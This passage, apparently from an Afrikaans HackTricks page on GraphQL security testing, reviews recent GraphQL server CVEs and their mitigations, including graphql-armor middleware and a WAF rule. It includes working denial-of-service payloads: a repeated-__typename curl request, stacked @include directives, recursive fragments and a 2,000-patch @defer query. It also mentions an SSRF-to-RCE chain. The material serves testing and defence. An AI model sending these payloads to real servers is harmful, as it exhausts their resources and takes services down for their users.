\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Onlangse Kwesbaarhede (2023-2025)

Die GraphQL-ekosisteem ontwikkel baie vinnig; gedurende die laaste twee jaar is verskeie kritieke probleme bekend gemaak in die mees gebruikte bedienerbiblioteke. Wanneer jy 'n GraphQL-eindpunt vind, is dit dus die moeite werd om die enjin te vingerafdruk (sien graphw00f) en die lopende weergawe teen die kwesbaarhede hieronder te kontroleer.

CVE-2024-47614 – async-graphql rigting-oorgrootte DoS (Rust)

  • Geaffekteer: async-graphql < 7.0.10 (Rust)
  • Wortel oorsaak: geen limiet op gedupliseerde rigtings (bv. duisende @include) wat uitgebrei word in 'n eksponensiële aantal uitvoeringsknope.
  • Impak: 'n enkele HTTP-versoek kan CPU/RAM uitput en die diens laat crash.
  • Regstelling/mitigering: opgradeer ≥ 7.0.10 of bel SchemaBuilder.limit_directives(); alternatiewelik filter versoeke met 'n WAF-reël soos "@include.*@include.*@include".
graphql
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF diepte/kompleksiteit omseiling

  • Aangetas: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Wortel oorsaak: ExecutableNormalizedFields is nie in ag geneem deur MaxQueryDepth / MaxQueryComplexity instrumentasie nie. Rekursiewe fragmente het dus alle beperkings omseil.
  • Impak: ongeverifieerde DoS teen Java-stapels wat graphql-java inkorporeer (Spring Boot, Netflix DGS, Atlassian produkte…).
graphql
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF na RCE-ketting

  • Geaffekteer: WPGraphQL ≤ 1.14.5 (WordPress-plugin).
  • Oorsaak: die createMediaItem mutasie het aanvaller-beheerde filePath URL's aanvaar, wat interne netwerktoegang en lêer skrywe moontlik gemaak het.
  • Impak: geverifieerde Redakteurs/Skrywers kon metadata-eindpunte bereik of PHP-lêers skryf vir afstands kode-uitvoering.

Inkrementale aflewering misbruik: @defer / @stream

Sedert 2023 het die meeste groot bedieners (Apollo 4, GraphQL-Java 20+, HotChocolate 13) die inkrementale aflewering riglyne geïmplementeer soos gedefinieer deur die GraphQL-over-HTTP WG. Elke uitgestelde patch word as 'n afsonderlike stuk gestuur, sodat die totale responsgrootte N + 1 (omslag + patches) word. 'n Navraag wat duisende klein uitgestelde velde bevat, produseer dus 'n groot respons terwyl dit die aanvaller slegs een versoek kos – 'n klassieke versterking DoS en 'n manier om liggaamsgrootte WAF-reëls te omseil wat slegs die eerste stuk ondersoek. WG-lede self het die risiko gemerk.

Voorbeeld payload wat 2 000 patches genereer:

graphql
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Mitigering: deaktiveer @defer/@stream in produksie of afdwing max_patches, kumulatiewe max_bytes en uitvoeringstyd. Biblioteke soos graphql-armor (sien hieronder) afdwing reeds sinvolle standaardinstellings.


Verdedigende middleware (2024+)

ProjekAantekeninge
graphql-armorNode/TypeScript validasie middleware gepubliseer deur Escape Tech. Implementeer plug-and-play beperkings vir navraagdiepte, alias/veld/direktief tellings, tokens en koste; versoenbaar met Apollo Server, GraphQL Yoga/Envelop, Helix, ens.

Vinige begin:

ts
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor sal nou oorbodig diep, kompleks of rigting-ryke navrae blokkeer, wat beskerming bied teen die bogenoemde CVEs.


Gereedskap

Kwetsbaarheid skandeerders

Skripte om algemene kwesbaarhede te benut

Kliënte

Outomatiese Toetse

https://graphql-dashboard.herokuapp.com/

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks